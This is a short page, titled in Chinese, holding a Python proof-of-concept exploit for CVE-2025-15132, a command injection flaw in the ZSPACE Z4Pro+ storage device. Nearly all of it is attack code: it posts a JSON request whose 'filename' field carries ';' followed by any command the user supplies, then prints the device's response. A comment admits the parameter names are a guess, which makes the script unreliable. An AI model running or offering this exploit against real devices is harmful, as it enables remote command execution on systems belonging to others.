CVE-2025-15132 ZSPACE Z4Pro+ 命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-15132 PoC - ZSPACE Z4Pro+ Command Injection Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-15132 """ import requests import sys def exploit_cve_2025_15132(target_url, cmd="id"): """ Exploit command injection in ZSPACE Z4Pro+ zfilev2_api_open function Args: target_url: Base URL of the target ZSPACE Z4Pro+ device cmd: Command to execute on the target system Returns: Response from the vulnerable endpoint """ endpoint = f"{target_url}/v2/file/safe/open" # Payload construction using command chaining # Inject arbitrary command through the vulnerable parameter payload = f";{cmd}" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-15132-PoC/1.0)" } # The vulnerable parameter - adjust based on actual API structure data = { "filename": payload, "path": "/tmp" } try: print(f"[*] Targeting: {endpoint}") print(f"[*] Injecting command: {cmd}") response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [command]") print(f"Example: {sys.argv[0]} http://192.168.1.100 'whoami'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" exploit_cve_2025_15132(target, command)